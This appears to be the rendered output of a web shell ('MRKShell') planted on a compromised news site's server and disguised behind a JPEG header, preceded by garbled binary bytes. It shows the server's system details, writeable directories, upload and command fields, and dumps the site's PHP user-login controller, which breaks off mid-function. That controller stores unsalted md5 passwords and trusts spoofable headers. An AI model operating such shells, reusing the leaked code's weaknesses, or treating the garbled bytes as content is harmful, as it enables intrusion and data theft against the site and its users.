JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 104.23.243.235
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/sitio/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/sitio/application/controllers/usuarios.php
<?php
class Usuarios extends MY_Controller
{
	function __construct()
	{
		parent::__construct();
	}
	
	public function index()
	{
		$lector = $this->session->userdata('usuario');
		if ($lector)
		{
			$this->perfil($lector['id']);	
		}
		else
			redirect(site_url(""),"refresh");
	}

	public function generarCaptcha()
	{
		$key_captcha = rand(1000,9999);
		$this->session->set_userdata('key', $key_captcha);
		$this->load->library("captcha_library");
		$this->captcha_library->crear_captcha($key_captcha);
	}
		
	public function existe_usuario()
	{
		$usuario = trim($this->input->post("usuario"));
		$js = $this->input->post("js");
		$id = $this->input->post("usuario_id");
		$id = ($id)?$id:NULL;
		$this->load->model("usuario","usuario",true);
		$b=$this->usuario->check_user($usuario,$id);
		if ($js)
		{
			if ($b)
				echo 1;
			else
				echo 2;
		}
		else
			return $b;
	}
	
	public function existe_mail()
	{
		$email = trim($this->input->post("email"));
		$js = $this->input->post("js");
		$id = $this->input->post("usuario_id");
		$id = ($id)?$id:NULL;
		$this->load->model("usuario","usuario",true);
		$b=$this->usuario->check_email($email,$id);
		if ($js)
		{
			if ($b)
				echo 1;
			else
				echo 2;
		}
		else
			return $b;
	}
	
	public function existe_movil()
	{
		$movil = $this->input->post("movil");
		$js = $this->input->post("js");
		$id = $this->input->post("usuario_id");
		$id = ($id)?$id:NULL;
		$this->load->model("usuario","usuario",true);
		$b=$this->usuario->check_movil($movil,$id);
		if ($js)
		{
			if ($b)
				echo $b;
			else
				echo 2;
		}
		else
			return $b;
	}

	public function nuevo()
	{
		if ($this->session->userdata("usuario"))
		{
			header("location: ".site_url(""));
		}
		else
		{
			$this->load->library("varios_library");
			$this->load->library('memcached_library');

			$edicion = $this->memcached_library->get('edicion_publicada');
			if (!$edicion)
			{
				$this->load->model("edicion","edicion",true);
				$edicion = $this->edicion->dameEdicionPublicada();
				$this->memcached_library->add('edicion_publicada', $edicion,72000);
			}
			$variables['edicion_publicada'] = $edicion;

			/*Obtengo banner*/
			//$variables['banners'] = $this->varios_library->obtengo_banners(3,'tag');
			/**Fin Banners**/

			// Últimas Notas
			$ult_notas = $this->memcached_library->get('ult_notas');
			if($ult_notas)
			{
				$variables['ult_notas']=$ult_notas;
			}
			else
			{
				$this->load->model("nota_modelo","nota",true);
				$variables['ult_notas'] = $this->nota->dameUltimasDerecha($edicion['id'], 10);
				$this->memcached_library->add('ult_notas', $variables['ult_notas'],$tiempo_expiracion);
			}
			
			// Últimas Notas más visitadas
			$vis_notas = $this->memcached_library->get('vis_notas');
			if($vis_notas)
			{
				$variables['vis_notas']=$vis_notas;
			}
			else
			{
				$this->load->model("nota_modelo","nota",true);
				$variables['vis_notas'] = $this->nota->dameMasVistasDerecha($edicion['id'], 10);
				$this->memcached_library->add('vis_notas', $variables['vis_notas'],$tiempo_expiracion);
			}

			// Últimas Notas más comentadas
			$com_notas = $this->memcached_library->get('com_notas');
			if($com_notas)
			{
				$variables['com_notas']=$com_notas;
			}
			else
			{
				$this->load->model("nota_modelo","nota",true);
				$variables['com_notas'] = $this->nota->dameMasComentadasDerecha($edicion['id'], 10);
				$this->memcached_library->add('com_notas', $variables['com_notas'],$tiempo_expiracion);
			}

			$variables['registro_step1'] = true;
			$variables['title'] = "Registro de usuario - ".NOMBRE_SITIO;
			
			$this->load->view("usuario-alta",$variables);	
		}
	}

	public function nuevo_usuario()
	{
		$user = $this->session->userdata("usuario");
		if (!$user)
		{
			$email = $this->input->post("email");
			$usuario = $this->input->post("usuario");
			$pass = $this->input->post("pass");
			$repass = $this->input->post("repass");
			$sexo= $this->input->post("sexo");
			$nombre=$this->input->post("nombre");
			$apellido=$this->input->post("apellido");
			$error = "";

			if ($email and $usuario and $pass and $repass and $nombre and $apellido)
			{
				$this->load->model("usuario","usuario",true);
				if (!$this->_comprobar_email($email))
					$error = "error_mail";
				elseif (!$this->usuario->check_email($email,NULL))
					$error = "error_mail_disp";
				elseif (!$this->usuario->check_user($usuario,NULL))
					$error = "error_user_disp";
				elseif (!$this->_comprobar_usuario($usuario))
					$error = "error_user";
				elseif ($pass != $repass)
					$error = "error_password";
				
				if ($error=="")
				{	
					$datos['email'] = $email;
					$datos['usuario'] = $usuario;
					$datos['password'] = md5($pass);
					$datos['nombre']= $nombre;
					$datos['apellido']=$apellido;
					$datos['estado']=3;
					$datos['perfil_id']=6;
					$datos['fecha_alta'] = date('Y-m-d');
					$datos['tipo'] = 4;
					$datos_info['sexo']=$sexo;
					$datos_info['codigo_habilitacion']= rand(1000,9999);
					if ($idu=$this->usuario->insert($datos,$datos_info))
					{
						//ENVIAR MAIL
						$this->load->library('email');
						
						$this->email->from('redaccion@elliberal.com.ar', NOMBRE_SITIO);
						$this->email->to($datos['email']);
									
						$this->email->subject('Activación de cuenta - '.NOMBRE_SITIO);
						$this->email->message('Haga click en el siguiente enlace para finalizar el proceso de registraci&oacute;n de su cuenta en '.NOMBRE_SITIO.'<br/><br/>
						<a href="'.site_url("usuarios/habilitacion/".$idu."/".md5($datos_info['codigo_habilitacion'])).'" taget="_blank">'.site_url("usuarios/habilitacion/".$idu."/".md5($datos_info['codigo_habilitacion'])).'</a><br/><br/>');
						
						$this->email->send();

						echo "ok";
					}
					else
						echo "ko";
				}	
				else
					echo $error;
								
			}	
			else
				echo "error_info";
		}
		else
			header("location: ".site_url("usuarios/".$user['id']."/".$this->varios_library->limpiarurl($user['usuario']).".html"));
	}

	public function habilitacion()
	{
		$id = $this->uri->segment(3);
		$codigo = $this->uri->segment(4);

		if(is_numeric($id))
		{
			$this->load->model("usuario","usuario",true);
			if($datos=$this->usuario->activar_por_codigo($id,$codigo))
			{
				$this->session->set_userdata('usuario',$datos);
				$this->load->library("varios_library");
				$url_user = site_url("usuarios/editar_perfil");
				//$url_user = $this->varios_library->generar_url(3,$datos['id'],$datos['usuario']);
				header("location: ".$url_user);
			}
			else
			{
				header("location: ".site_url(""));
			}
		}
	}

	public function login_popup()
	{
		$this->load->view("popup_login");
	}

	public function login()
	{
		if(!$this->session->userdata('usuario'))
		{
			if ($this->input->post("login"))
			{
				$email = $this->input->post("email");
				$pass = $this->input->post("password");
				if ($email != "" and $pass != "")
				{
					$this->load->model("usuario","usuario",true);
					$log=$this->usuario->login($email,$pass);
					if($log)
					{
						if ($log['estado'] == 1 or $log['estado'] == 5 or $log['estado'] == 6)
						{
							$datos=array('id'=>$log['id'],'nombre'=>$log['nombre'],'apellido'=>$log['apellido'],
								         'email'=>$log['email'],'usuario'=>$log['usuario'],'perfil_id'=>$log['perfil_id'],
								         'facebook_id'=>$log['facebook_id'],'imagen_estado'=>$log['imagen_estado'],
								         'karma'=>$log['karma'],'estado'=>$log['estado']);

							$this->session->set_userdata('usuario',$datos);
							$this->usuario->ultimoAcceso($log['id']);
							echo 1;
						}
						elseif ($log['estado'] == 2)
						{
							echo 4;
						}
						elseif ($log['estado'] == 3)
						{
							echo 5;
						}
						elseif ($log['estado'] == 4)
						{
							echo 6;
						}
						elseif ($log['estado'] == 7)
						{
							echo 5;
						}
					}
					else
						echo 3;
				}
				else
					echo 2;
			}
			else
			{
				header("location: ".site_url());
			}
		}
		else
		{
			header("location: ".site_url());
		}
	}

	public function login_facebook()
	{	
		$this->load->library("lg_facebook");
		$info_face = $this->lg_facebook->conexion(APP_ID,APP_SECRET);
		$email_log_con = $this->input->post("email");
		$fid_log_con = $this->input->post("uid");
		$info_log_con['facebook_id'] = $fid_log_con;
		$info_log_con['email'] = $email_log_con;
		$info_log_con['fecha'] = date('Y-m-d H:i:s');
		$ip_origen="";
		if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
			$ip_origen = $_SERVER['HTTP_X_FORWARDED_FOR'];
		if ($ip_origen=="")
			$ip_origen = $_SERVER['REMOTE_ADDR'];

		$url_actual = $this->session->userdata('url_actual');
		$this->session->unset_userdata('url_actual');
			
		if (isset($info_face['id']) and $info_face['id'] > 0)
		{	
			if ($ret=$this->_existe_faceid($info_face['id']))
		    {
		    	if ($ret==1)
		    	{
					echo 1;
				}
				else
				{
					echo 100;
				}
		    }
		    elseif ($info_face['email']!="" and $us=$this->usuario->check_email_faceconnect($info_face['email']))
		    {
		    	$this->session->set_userdata('url_retorno',$url_actual);
		    	$info_nueva['id'] = $info_face['id'];
		    	$info_nueva['name'] = $info_face['name'];
		    	$info_nueva['first_name'] = $info_face['first_name'];
		    	$info_nueva['last_name'] = $info_face['last_name'];
		    	$info_nueva['link'] = $info_face['link'];
		    	$info_nueva['gender'] = (isset($info_face['gender']))?$info_face['gender']:0;
		    	$info_nueva['email'] = $info_face['email'];
		    	if (isset($info_face['location']))
		    		$info_nueva['location'] = $info_face['location'];
		    	$info_nueva['usuario_id'] = $us['id'];
				$this->session->set_userdata("usr_temp",$info_nueva);
				echo 3;
			}
			else
			{
				$this->session->set_userdata('url_retorno',$url_actual);
				$info_nueva['id'] = $info_face['id'];
		    	$info_nueva['name'] = $info_face['name'];
		    	$info_nueva['first_name'] = $info_face['first_name'];
		    	$info_nueva['last_name'] = $info_face['last_name'];
		    	$info_nueva['link'] = $info_face['link'];
		    	$info_nueva['gender'] = (isset($info_face['gender']))?$info_face['gender']:0;
		    	$info_nueva['email'] = $info_face['email'];
		    	if (isset($info_face['location']))
		    		$info_nueva['location'] = $info_face['location'];
		    	$info_nueva['usuario_id'] = 0;
				$this->session->set_userdata("usr_temp",$info_nueva);
				echo 3;
			}
		}
		else
			echo 2;
	}

	public function _existe_faceid($facebook_id)
	{
		$this->load->model("usuario","usuario",true);
		$existe = $this->usuario->existeUserFace($facebook_id);
		if ($existe)
		{
			if ($existe['estado']==1 or $existe['estado']==4 or $existe['estado']==5 or $existe['estado']==6)
			{
				$sess_array = array(
					'id' => $existe['id'],
					'nombre' => $existe['nombre'],
					'apellido' => $existe['apellido'],
					'usuario' => $existe['usuario'],
					'email' => $existe['email'],
					'estado' => $existe['estado'],
					'perfil_id' => $existe['perfil_id'],
					'facebook_id' => $existe['facebook_id'],
					'imagen_estado' => $existe['imagen_estado'],
					'karma' => $existe['karma']
				);
				$this -> session -> set_userdata('usuario', $sess_array);
				$this->usuario->ultimoAcceso($existe['id']);
				return 1;
			}
			else
				return 2;
		}
		else
			return false;
	}
	
	public function registrar_con_facebook()
	{
		$this->load->library('varios_library');
		
		$usuario_temporal = $this->session->userdata('usr_temp');
		if ($usuario_temporal)
		{
			$variables['nombre'] = $usuario_temporal['first_name'];
			$variables['apellido'] = $usuario_temporal['last_name'];
			$variables['email'] = $usuario_temporal['email'];
			$variables['sexo']=$usuario_temporal['gender']; 
			$variables['usuario'] = false;
			$variables['usuario_id'] = $usuario_temporal['usuario_id'];
			$variables['url_retorno'] = $this->session->userdata('url_retorno');
			
			$variables['title'] = "Registrate - ".NOMBRE_SITIO;
		
			$variables['registro_step2'] = true;
			
            $this->load->view("usuario-alta",$variables);
		}
		else
			header("location: ".site_url(""));
	}
	
	public function alta_con_facebook()
	{
		$usuario_temporal = $this->session->userdata('usr_temp');

		if ($usuario_temporal)
		{
			$email = trim($this->input->post("email"));
			$nombre = trim($this->input->post("nombre"));
			$apellido = trim($this->input->post("apellido"));
			$password = trim($this->input->post("pass"));
			$repassword = trim($this->input->post("repass"));
			$usuario = trim($this->input->post("usuario"));
			$sexo=$this->input->post("sexo");
			//$dni = trim($this->input->post("dni"));
			//$fechanac = $this->input->post("fechanac");
			
			//$newsletter=$this->input->post("newsletter");
			//$link=$usuario_temporal['link'];

			/*if($newsletter=="on")
			{
				$recibe_novedades=1;
			}
			else
				$recibe_novedades=0;*/
			$ip_origen="";
			if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
				$ip_origen = $_SERVER['HTTP_X_FORWARDED_FOR'];
			}
			if ($ip_origen=="")
				$ip_origen = $_SERVER['REMOTE_ADDR'];

			$this->load->model("usuario","usuario",true);
			$this->load->library("varios_library");

    		if(preg_match("/[^ÑñÜüA-Za-z áéíóú]/",$nombre) or $nombre=="")
    		{
				echo "error_nombre";
				die();
			}

			if(preg_match("/[^ÑñÜüA-Za-z áéíóú -]/",$apellido) or $apellido =="")
    		{
				echo "error_apellido";
				die();
			}

			if(preg_match("/[^ÑñÜüA-Za-z áéíóú]/",$usuario) or $usuario =="")
    		{
				echo "error_user";
				die();
			}

			if ($password=="" or $password!=$repassword)
			{
				echo "error_password";
				die();
			}

			/*if(!$this->varios_library->validaFechaInversa($fechanac,"-"))
			{
			  	echo "error_fecha";
			  	die();
			}*/

			/*if(!is_numeric($dni) or strlen($dni)>8 or strlen($dni)<7)
			{
			 	echo "error_dni";
			 	die();
			}*/

			if ($usuario!="" and $email!="" and $password!="")
			{
				if ($this->_comprobar_email($email))
				{
					if ($this->usuario->check_email($email,$usuario_temporal['usuario_id']))
					{
						$datos['nombre'] = $nombre;
						$datos['apellido'] = $apellido;
						$datos['usuario'] = $usuario;
						$datos['email'] = $email;
						$datos['password'] = $password;
						$datos['facebook_id'] = $usuario_temporal['id'];
						//$datos['fechanac']=$fechanac;
						//$datos['numdoc']=$dni;
						//$datos['recibe_novedades']=$recibe_novedades;
						$datos['sexo']=$sexo;
						$datos['usuario_id']=$usuario_temporal['usuario_id'];
						$datos['ciudad'] = "";
						if (isset($usuario_temporal['location']['name']))
							$datos['ciudad'] = $usuario_temporal['location']['name'];
						
						if ($usuario_id=$this->usuario->nuevoUserFacebook($datos,$ip_origen))
						{
							$sess_array = array(
								'id' => $usuario_id,
								'nombre' => $datos['nombre'],
								'apellido' => $datos['apellido'],
								'usuario' => $datos['usuario'],
								'email' => $email,
								'estado' => 1,
								'perfil_id' => 6,
								'facebook_id' => $usuario_temporal['id'],
								'imagen_estado' => 1,
                                'karma' => 5
							);
							$this->session->set_userdata('usuario', $sess_array);
							$this->session->unset_userdata('usr_temp');
							$this->usuario->ultimoAcceso($usuario_id);

							$this->load->library("comunidad_library");
							$this->comunidad_library->descarga_avatar_face($usuario_id,$usuario_temporal['id']);

							echo "ok";
						}
						else
							echo "error_con";
					}
					else
						echo "error_email_existe";
				}
				else
					echo "error_email";
			}
			else
				echo "error_datos";
		}
		else
			echo "error_login_facebook";
	}

	public function perfil($usuario_id)
	{
		header("location: ".site_url(""));
	}

	public function editar_perfil()
	{
		$usuario = $this->session->userdata("usuario");
		if ($usuario)
		{
			$this->load->library("varios_library");
			$this->load->library("comunidad_library");
			
			$variables['title'] = "Mi Perfil - ".NOMBRE_SITIO;
			$variables['usuario'] = $usuario;

			$this->load->model("usuario","usuario",true);
			$usuario_info = $this->usuario->buscarPorIdPerfil($usuario['id']);
			$avatar = $this->comunidad_library->armarAvatarLector($usuario['id'],1);
			$usuario_info['avatar'] = $avatar;

			$variables['usuario_info'] = $usuario_info;
			$variables['mi_perfil'] = true;

			$this->load->view("usuario-perfil", $variables);
		}
		else
			header("location: ".site_url(""));
	}
	
	public function modificar_perfil(){
		$usuario = $this->session->userdata("usuario");
		if ($usuario)
		{
			$datos['usuario'] = $this->input->post('usuario');
			$datos['nombre'] = $this->input->post('nombre');
			$datos['apellido'] = $this->input->post('apellido');
			$email = $this->input->post('email');
			$pass = $this->input->post('pass');
			$pass_ver=$this->input->post('repass');
			$datos_info['sexo'] = $this->input->post('sexo');
			$datos_info['numdoc'] = $this->input->post('dni');
			
			$this->load->model("usuario","usuario",true);
			if (!$this->_comprobar_email($email))
					die("error_mail");

			if(trim($pass)!="")
			{
				if (strlen($pass)>5)
				{
					if ($pass==$pass_ver) 
					{
						$datos['password'] = md5($pass);
					}
					else
						die('error_pass');
				}
				else
					die("error_password");
			}

			if($this->usuario->check_email($email,$usuario['id'])){
				$datos['email'] = $email;
								
			}else
				die("error_mail_disp");

			if($this->usuario->modificarPerfil($usuario['id'], $datos, $datos_info))
			{
				$usuario['nombre']=$datos['nombre'];
				$usuario['apellido']=$datos['apellido'];
				$usuario['usuario']=$datos['usuario'];
				$this->session->set_userdata('usuario', $usuario);

				echo "ok";
			}else
				echo "ko";
		}
		else
			header("location: ".site_url(""));
	}
	
	public function _comprobar_email($email)
	{
	    $mail_correcto = 0;
	    //compruebo unas cosas primeras
	    if ((strlen($email) >= 6) && (substr_count($email,"@") == 1) && (substr($email,0,1) != "@") && (substr($email,strlen($email)-1,1) != "@")){
	       if ((!strstr($email,"'")) && (!strstr($email,'"')) && (!strstr($email,'\\')) && (!strstr($email,'$')) && (!strstr($email,' '))) {
	          //miro si tiene caracter .
	          if (substr_count($email,".")>= 1){
	             //obtengo la terminacion del dominio
	             $term_dom = substr(strrchr ($email, '.'),1);
	             //compruebo que la terminación del dominio sea correcta
	             if (strlen($term_dom)>1 && strlen($term_dom)<5 && (!strstr($term_dom,"@")) ){
	                //compruebo que lo de antes del dominio sea correcto
	                $antes_dom = substr($email,0,strlen($email) - strlen($term_dom) - 1);
	                $caracter_ult = substr($antes_dom,strlen($antes_dom)-1,1);
	                if ($caracter_ult != "@" && $caracter_ult != "."){
	                   $mail_correcto = 1;
	                }
	             }
	          }
	       }
	    }
	    if ($mail_correcto)
	       return 1;
	    else
	       return 0;
	}

	public function _comprobar_usuario($usuario,$usuario_id=0)
	{
	    //compruebo unas cosas primeras
	    $usuario = strtolower($usuario);
	    $usuario = str_replace(" ", "_", $usuario);
	    $usuario_id = (int) $usuario_id;
	    if (($usuario_id == 0) or ($usuario_id > 121841))
	    {
	    	if (preg_match('/^[a-z\d_ñÑ]{5,15}$/i', $usuario)) 
	    	{
	    		return true;
	    	}
	    	else
	    		return false;
		}
		else
			return true;
	}
	
	public function _captcha()
	{		
		$this -> load -> plugin('captcha');
		$vals = array(
	    'img_path' => PATH_BASE_FILE.'captcha/', // PATH for captcha
	    'img_url' => URL_BASE_FILE.'captcha/', // URL for captcha img
	    'img_width' => 75, // width
	    'img_height' => 30, // height
	    );
	    
		// Create captcha
	  	$cap = create_captcha( $vals );
	  	return $cap; 
	}

	public function cambiar_avatar($accion="")
	{
		$usuario = $this->session->userdata('usuario');
		if ($usuario)
		{
			$variables['usuario'] = $usuario;

			if ($accion=="crop")
			{
				$nombre_avat = $usuario['id'].".jpg";
				if (!file_exists(PATH_BASE_FILE."fotos/avatar_lector/temp/gr_".$nombre_avat))
					$nombre_avat = $usuario['id'].".jpeg";

				$tam = getimagesize(PATH_BASE_FILE."fotos/avatar_lector/temp/gr_".$nombre_avat);
				$variables['crop'] = true;
				$variables['img_widht'] = $tam[0];
				$variables['img_height'] = $tam[1];
				$variables['nombre_avat'] = $nombre_avat;
				$this->load->view("usuario-avatar-crop",$variables);
			}
			else
				$this->load->view("usuario-avatar",$variables);
		}
		else
			print "<b>Tu sesión ha expirado.</b>";
	}

	public function subir_avatar()
	{
		$usuario = $this->session->userdata('usuario');
		if ($usuario)
		{
			if ($_FILES['avatar']['name']!="")
			{
				$this->load->library("archivos");
				$this->load->library("imageresize");
				$this->archivos->imageresize = $this->imageresize;
				$this->archivos->file = $_FILES['avatar']; 
				$this->archivos->path = 'fotos/avatar_lector/temp/';
				$this->archivos->tipos = "jpg,jpeg";
				$this->archivos->min_ancho = 200;
				$this->archivos->min_alto = 200;
				$this->archivos->max_peso = 2097152;
				$this->archivos->nombre_img = $usuario['id'];
				
				$res = $this->archivos->subir_avatar();
				
				if ($res['error']=="")
				{
					echo "ok";
				}
				else
					echo $res['error'];
			}else
				echo "nada";
		}
		else
			echo "usuario_sesion";
	}

	public function crop_avatar()
	{
		$usuario = $this->session->userdata('usuario');
		if ($usuario)
		{
			$x1 = $this->input->post("x1");
			$y1 = $this->input->post("y1");
			$x2 = $this->input->post("x2");
			$y2 = $this->input->post("y2");
			$w = $this->input->post("w");
			$h = $this->input->post("h");

			if ($w=="" or $h=="")
			{
				$x1=0;
				$y1=0;
				$w=200;
				$h=200;
			}

			$nombre_avat = $usuario['id'].".jpg";
			if (!file_exists(PATH_BASE_FILE."fotos/avatar_lector/temp/gr_".$nombre_avat))
				$nombre_avat = $usuario['id'].".jpeg";

			$this->load->library("archivos");
			$this->load->library("imageresize");
			$this->archivos->imageresize = $this->imageresize;
			$this->archivos->path = 'fotos/avatar_lector/temp/';
			$this->archivos->path_destino = 'fotos/avatar_lector/';
			$this->archivos->nombre_img = $nombre_avat;
			if ($this->archivos->crop($x1,$y1,$h,$w))
			{
				$info['imagen_estado'] = 3;
				$this->load->model("usuario","usuario",true);
				$this->usuario->update_largo($info,$usuario['id']);

				echo "ok";

				if (file_exists(PATH_BASE_FILE."fotos/avatar_lector/temp/gr_".$nombre_avat))
					unlink(PATH_BASE_FILE."fotos/avatar_lector/temp/gr_".$nombre_avat);
				if (file_exists(PATH_BASE_FILE."fotos/avatar_lector/temp/".$nombre_avat))
					unlink(PATH_BASE_FILE."fotos/avatar_lector/temp/".$nombre_avat);
			}
			else
				echo "ko";
		}
		else
			echo "usuario_error";
	}
	
	public function logout()
	{
		header ("Expires: Thu, 27 Mar 1980 23:59:00 GMT"); //la pagina expira en una fecha pasada
		header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); //ultima actualizacion ahora cuando la cargamos
		header ("Cache-Control: no-cache, must-revalidate"); //no guardar en CACHE
		header ("Pragma: no-cache");
		$usuario = $this->session->userdata('usuario');
		if($usuario['id'] > 0)
		{
			$this->session->unset_userdata('usuario');
		}
		$url_actual = isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:"";
		$url_actual = str_replace(site_url(""),"",$url_actual);
		header("location: ".site_url($url_actual));
	}
	
	public function provincias()
	{
		$usuario=$this->session->userdata('usuario');
		if($usuario)
		{
			$pais_id = $this->input->post("pais_id");
			$this->load->model("usuario","usuario",true);
			$b=$this->usuario->dameProvincias($pais_id,1);
			echo $b; 
		}
		else
		{
			redirect(site_url("usuarios/login"),"refresh");	
		}
	}
	
	public function recordar_password($lightbox=0)
	{
		$usuario=$this->session->userdata('usuario');
		if(!$usuario)
		{
			if ($this->input->post("recuperar"))
			{
				$email = $this->input->post("email");
				if ($email != "")
				{
					if ($this->_comprobar_email($email))
					{
						$this->load->model("usuario","usuario",true);
						$datos_usuario = $this->usuario->buscarPorEmail($email);
						if ($datos_usuario)
						{

							//Enviar E-mail
							$this->load->library('email');
							
							$this->email->from('redaccion@diariopanorama.com', NOMBRE_SITIO);
							$this->email->to($email);
							
							$this->email->subject('Reseteá tu contraseña');
							$mensaje = "Hola <b>".$datos_usuario['nombre']." ".$datos_usuario['apellido']."</b><br/><br/>";
							$mensaje .= "Para modificar tu contrase&ntilde;a, seguí el siguiente enlace por favor:<br/><br/>";
							$mensaje .= "<a href=\"".site_url('usuarios/reset_password/'.$datos_usuario['id'].'/'.md5($datos_usuario['pass_encriptada'].$datos_usuario['id']))."\" target=\"_blank\">".site_url('usuarios/reset_password/'.$datos_usuario['id'].'/'.md5($datos_usuario['pass_encriptada'].$datos_usuario['id']))."</a>";
							$this->email->message($mensaje);
							
							//$this->email->message('Haga click en el siguiente enlace para finalizar el proceso de registraci&oacute;n de su cuenta en La Gaceta<br/><br/>
							//<a href="'.site_url("usuarios/habilitacion/".$idu."/".$datos['codigo_habilitacion']).'" taget="_blank">'.site_url("usuarios/habilitacion/".$idu."/".$datos['codigo_habilitacion']).'</a><br/><br/>');
							
							$this->email->send();
							//Fin enviar E-mail
							$datos['fecha_cambio'] = date("Y-m-d H:i:s");

							if($this->usuario->edit($datos_usuario['id'],$datos))
							{
								echo 1;
							}
							else
								echo 3;
						}
						else
							echo 3;
					}
					else
						echo 2;
				}
				else
					echo 2;
			}
			else
			{
				if ($lightbox==1)
				{

					$variables['title'] = "Olvidaste tu contraseña - ".NOMBRE_SITIO;
					$variables['usuario'] = false;
					$variables['desde'] = $lightbox;
					$this->load->view("usuario-cambiopass-popup",$variables);
				}
			}
		}
	}

	public function reset_password($id,$token)
	{
		$this->load->library("varios_library");
		$this->load->library('memcached_library');
		
		if($this->session->userdata('usuario'))
		{
			$u = $this->session->userdata('usuario');
			redirect(site_url("usuarios/".$u['id']."/".$u['usuario']),"refresh");
			exit();
		}

